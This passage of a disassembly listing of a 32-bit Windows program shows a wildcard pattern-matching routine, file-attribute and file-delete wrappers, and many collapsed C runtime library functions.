loc_41711B:				; CODE XREF: sub_4170A1+6Dj
		cmp	eax, 1
		jnz	short loc_417132
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_417132
		cmp	byte ptr [esi],	0
		jnz	short loc_417132
		push	1
		pop	eax
		jmp	short loc_417134
; ---------------------------------------------------------------------------


loc_417132:				; CODE XREF: sub_4170A1+72j
					; sub_4170A1+7Dj ...
		xor	eax, eax


loc_417134:				; CODE XREF: sub_4170A1+8Fj
		pop	esi
		pop	ebp
		retn
sub_4170A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417137	proc near		; CODE XREF: sub_4170A1+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_417158
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_417158:				; CODE XREF: sub_417137+19j
		push	ebx
		push	esi


loc_41715A:				; CODE XREF: sub_417137+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_417168
		cmp	[ebp+var_4], eax
		jnz	short loc_4171B4


loc_417168:				; CODE XREF: sub_417137+2Aj
		test	edi, edi
		jnz	short loc_4171A9
		cmp	bl, 2Dh
		jnz	short loc_41719D
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_41719D
		cmp	al, 5Dh
		jz	short loc_41719D
		cmp	[ebp+var_4], edi
		jnz	short loc_41719D
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4171A9
		cmp	bl, al
		jg	short loc_4171A9
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4171A9
; ---------------------------------------------------------------------------


loc_41719D:				; CODE XREF: sub_417137+38j
					; sub_417137+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4171A9
		push	1
		pop	edi


loc_4171A9:				; CODE XREF: sub_417137+33j
					; sub_417137+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41715A
; ---------------------------------------------------------------------------


loc_4171B4:				; CODE XREF: sub_417137+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4171C1
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4171C1:				; CODE XREF: sub_417137+82j
		cmp	edi, eax
		jnz	short loc_4171CA
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4171CA:				; CODE XREF: sub_417137+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_417137	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171CF	proc near		; CODE XREF: sub_4170A1+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_4171EB:				; CODE XREF: sub_4171CF+3Aj
		cmp	[eax], bl
		jz	short loc_41720B
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_417200
		cmp	cl, 2Ah
		jnz	short loc_41720B
		cmp	cl, 3Fh
		jnz	short loc_417203


loc_417200:				; CODE XREF: sub_4171CF+25j
		inc	eax
		mov	[edi], eax


loc_417203:				; CODE XREF: sub_4171CF+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4171EB
; ---------------------------------------------------------------------------


loc_41720B:				; CODE XREF: sub_4171CF+1Ej
					; sub_4171CF+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_417216
		inc	dword ptr [esi]
		jmp	short loc_41720B
; ---------------------------------------------------------------------------


loc_417216:				; CODE XREF: sub_4171CF+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_417237
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_417228
		xor	eax, eax
		jmp	short loc_417297
; ---------------------------------------------------------------------------


loc_417228:				; CODE XREF: sub_4171CF+53j
		cmp	cl, bl
		jnz	short loc_417237
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_417237
		push	1
		pop	eax
		jmp	short loc_417297
; ---------------------------------------------------------------------------


loc_417237:				; CODE XREF: sub_4171CF+4Dj
					; sub_4171CF+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4170A1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417281


loc_417245:				; CODE XREF: sub_4171CF+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_417249:				; CODE XREF: sub_4171CF+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_417261
		cmp	cl, 5Bh
		jz	short loc_417261
		cmp	dl, bl
		jz	short loc_417261
		inc	eax
		mov	[edi], eax
		jmp	short loc_417249
; ---------------------------------------------------------------------------


loc_417261:				; CODE XREF: sub_4171CF+82j
					; sub_4171CF+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_417278
		push	eax
		push	dword ptr [esi]
		call	sub_4170A1
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_41727D
; ---------------------------------------------------------------------------


loc_417278:				; CODE XREF: sub_4171CF+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_41727D:				; CODE XREF: sub_4171CF+A7j
		cmp	eax, ebx
		jnz	short loc_417245


loc_417281:				; CODE XREF: sub_4171CF+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_417294
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_417294
		mov	[ebp+var_4], 1


loc_417294:				; CODE XREF: sub_4171CF+B6j
					; sub_4171CF+BCj
		mov	eax, [ebp+var_4]


loc_417297:				; CODE XREF: sub_4171CF+57j
					; sub_4171CF+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4171CF	endp

; [00000052 BYTES: COLLAPSED FUNCTION _sprintf.	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4172EE	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401D79+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_438528, eax
		retn
sub_4172EE	endp

; [0000001E BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul.	PRESS KEYPAD "+" TO EXPAND]
; [0000008B BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION _atoi. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __snprintf. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+"	TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+"	TO EXPAND]
; [00000032 BYTES: COLLAPSED FUNCTION _fprintf.	PRESS KEYPAD "+" TO EXPAND]
; [00000020 BYTES: COLLAPSED FUNCTION __fsopen.	PRESS KEYPAD "+" TO EXPAND]
; [00000013 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+"	TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION _wcscat. PRESS KEYPAD "+"	TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+"	TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD	"+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO	EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
; [000000CF BYTES: COLLAPSED FUNCTION _floor. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __fpmath.	PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000027 BYTES: COLLAPSED FUNCTION __ftol. PRESS KEYPAD "+" TO EXPAND]
; [000000CF BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *).	PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; [00000007 BYTES: COLLAPSED FUNCTION sub_417E66. PRESS	KEYPAD "+" TO EXPAND]
; [00000007 BYTES: COLLAPSED FUNCTION sub_417E6D. PRESS	KEYPAD "+" TO EXPAND]
; [0000004F BYTES: COLLAPSED FUNCTION unknown_libname_2. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION ___CxxFrameHandler. PRESS	KEYPAD "+" TO EXPAND]
; [00000054 BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo	const *,void *,int,ulong). PRESS KEYPAD	"+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void	*,void *). PRESS KEYPAD	"+" TO EXPAND]
; [000000B4 BYTES: COLLAPSED FUNCTION _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2.	PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler.	PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+"	TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [0000001F BYTES: COLLAPSED FUNCTION __EH_prolog. PRESS KEYPAD	"+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION operator delete(void *). PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS	KEYPAD "+" TO EXPAND]
; [0000006D BYTES: COLLAPSED FUNCTION __onexit.	PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+"	TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND]
; [000000DC BYTES: COLLAPSED FUNCTION _time. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000008C BYTES: COLLAPSED FUNCTION unknown_libname_4. PRESS KEYPAD "+" TO EXPAND]
; [00000208 BYTES: COLLAPSED FUNCTION _strtoxl.	PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION _strtoul.	PRESS KEYPAD "+" TO EXPAND]
; [00000034 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+"	TO EXPAND]
; [000000E8 BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND]
; [0000009C BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000FE BYTES: COLLAPSED FUNCTION _strncpy.	PRESS KEYPAD "+" TO EXPAND]
; [0000008C BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000038 BYTES: COLLAPSED FUNCTION _strncmp.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000123 BYTES: COLLAPSED FUNCTION _strncat.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000027 BYTES: COLLAPSED FUNCTION _strrchr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+"	TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION _fgets. PRESS KEYPAD "+" TO EXPAND]
; [0000009E BYTES: COLLAPSED FUNCTION __strupr.	PRESS KEYPAD "+" TO EXPAND]
; [000000CB BYTES: COLLAPSED FUNCTION _tolower.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
; [00000147 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD	"+" TO EXPAND]
; [00000050 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD	"+" TO EXPAND]
; [00000120 BYTES: COLLAPSED FUNCTION _realloc.	PRESS KEYPAD "+" TO EXPAND]
; [0000010A BYTES: COLLAPSED FUNCTION _fwrite. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4195E9	proc near		; CODE XREF: sub_40D000+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_4230A4	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419609
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		call	__dosmaperr
		pop	ecx


loc_419605:				; CODE XREF: sub_4195E9+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_419609:				; CODE XREF: sub_4195E9+Dj
		test	al, 1
		jz	short loc_41962A
		test	[esp+arg_4], 2
		jz	short loc_41962A
		mov	ds:dword_486FCC, 0Dh
		mov	ds:dword_486FD0, 5
		jmp	short loc_419605
; ---------------------------------------------------------------------------


loc_41962A:				; CODE XREF: sub_4195E9+22j
					; sub_4195E9+29j
		xor	eax, eax
		retn
sub_4195E9	endp

; ---------------------------------------------------------------------------
		align 10h
; [000000AA BYTES: COLLAPSED FUNCTION __alldiv.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000AC BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+"	TO EXPAND]
; [0000001D BYTES: COLLAPSED FUNCTION _wcslen. PRESS KEYPAD "+"	TO EXPAND]
; [000000FF BYTES: COLLAPSED FUNCTION _mbstowcs. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+"	TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+"	TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION __initterm. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4199AA	proc near		; CODE XREF: sub_40EE51+2BE2p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_423158	; DeleteFileA
		test	eax, eax
		jnz	short loc_4199C0
		call	ds:dword_423088	; RtlGetLastWin32Error
		jmp	short loc_4199C2
; ---------------------------------------------------------------------------


loc_4199C0:				; CODE XREF: sub_4199AA+Cj
		xor	eax, eax


loc_4199C2:				; CODE XREF: sub_4199AA+14j
		test	eax, eax
		jz	short loc_4199D1
		push	eax
		call	__dosmaperr
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4199D1:				; CODE XREF: sub_4199AA+1Aj
		xor	eax, eax
		retn
sub_4199AA	endp

; [000000D7 BYTES: COLLAPSED FUNCTION _WinMainCRTStartup. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	__XcptFilter
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	__exit
; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD	"+" TO EXPAND]
		pop	ecx
		pop	ecx
		retn
; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit.	PRESS KEYPAD "+" TO EXPAND]
; [00000115 BYTES: COLLAPSED FUNCTION __flsbuf.	PRESS KEYPAD "+" TO EXPAND]
; [00000721 BYTES: COLLAPSED FUNCTION __output.	PRESS KEYPAD "+" TO EXPAND]
off_41A349	dd offset $NORMAL_STATE$1535 ; DATA XREF: __output+6Er
		dd offset loc_419C9D	; jump table for switch	statement
		dd offset loc_419CB8
		dd offset loc_419D04
		dd offset loc_419D3B
		dd offset loc_419D43
		dd offset loc_419D78
		dd offset loc_419E0B
; [00000035 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD	"+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND]
; [0000000D BYTES: COLLAPSED FUNCTION _get_int_arg. PRESS KEYPAD "+" TO	EXPAND]
; [00000010 BYTES: COLLAPSED FUNCTION _get_int64_arg. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION _get_short_arg. PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
; [000000B3 BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+"	TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+"	TO EXPAND]
; [0000005C BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41A61C	proc near		; CODE XREF: ___endstdiop
		push	1
		call	_flsall
		pop	ecx
		retn
sub_41A61C	endp

; [0000006D BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+"	TO EXPAND]
; [0000008D BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+"	TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+"	TO EXPAND]
; [00000170 BYTES: COLLAPSED FUNCTION __openfile. PRESS	KEYPAD "+" TO EXPAND]
; [00000078 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD	"+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS	KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD	"+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION ___sbh_heap_init.	PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
; [0000032B BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS	KEYPAD "+" TO EXPAND]
; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+"	TO EXPAND]
; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
; [000002F6 BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD	"+" TO EXPAND]
; [00000053 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND]
; [00000098 BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND]
; [000002B3 BYTES: COLLAPSED FUNCTION __raise_exc. PRESS KEYPAD	"+" TO EXPAND]
; [00000217 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO	EXPAND]
; [00000088 BYTES: COLLAPSED FUNCTION __umatherr. PRESS	KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION __set_errno. PRESS KEYPAD	"+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION __get_fname. PRESS KEYPAD	"+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND]
; [0000005A BYTES: COLLAPSED FUNCTION __sptype.	PRESS KEYPAD "+" TO EXPAND]
; [000000C1 BYTES: COLLAPSED FUNCTION __decomp.	PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION __statfp.	PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+"	TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __ctrlfp.	PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO	EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO	EXPAND]
; [0000005A BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD	"+" TO EXPAND]
; [0000004E BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD	"+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __positive. PRESS	KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND]
; [00000104 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+"	TO EXPAND]
; [000000DE BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+"	TO EXPAND]
; [0000009B BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+"	TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __cftoe_g. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __cftof_g. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+"	TO EXPAND]
; [0000009B BYTES: COLLAPSED FUNCTION ___InternalCxxFrameHandler. PRESS	KEYPAD "+" TO EXPAND]
; [000001A7 BYTES: COLLAPSED FUNCTION FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *). PRESS	KEYPAD "+" TO EXPAND]
; [000000A8 BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD	"+" TO EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION TypeMatch(_s_HandlerType const *,_s_CatchableType	const *,_s_ThrowInfo const *). PRESS KEYPAD "+"	TO EXPAND]
; [0000009E BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION unknown_libname_10. PRESS	KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION CatchIt(EHExceptionRecord	*,EHRegistrationNode *,_CONTEXT	*,void *,_s_FuncInfo const *,_s_HandlerType const *,_s_CatchableType const *,_s_TryBlockMapEntry const *,int,EHRegistrationNode	*,uchar). PRESS	KEYPAD "+" TO EXPAND]
; [0000009C BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong).	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C741	proc near		; DATA XREF: UPX0:00423848o
		push	dword ptr [ebp-14h] ; struct _EXCEPTION_POINTERS *
		call	?ExFilterRethrow@@YAHPAU_EXCEPTION_POINTERS@@@Z	; ExFilterRethrow(_EXCEPTION_POINTERS *)
		pop	ecx
		retn
sub_41C741	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C74B	proc near		; DATA XREF: UPX0:0042384Co
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	__local_unwind2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41C732
sub_41C74B	endp

; ---------------------------------------------------------------------------


loc_41C763:				; DATA XREF: UPX0:00423840o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]
; [00000046 BYTES: COLLAPSED FUNCTION sub_41C76B. PRESS	KEYPAD "+" TO EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION ExFilterRethrow(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND]
; [000001B8 BYTES: COLLAPSED FUNCTION BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType	const *). PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41CA7C
; [00000056 BYTES: COLLAPSED FUNCTION unknown_libname_11. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41CA7C
; [00000023 BYTES: COLLAPSED FUNCTION AdjustPointer(void *,PMD const &). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_12. PRESS	KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION sub_41CA7C. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CAD2	proc near		; CODE XREF: _GetRangeOfTrysToCheck(_s_FuncInfo	const *,int,int,uint *,uint *)+23p
					; _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *):loc_418106p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423888
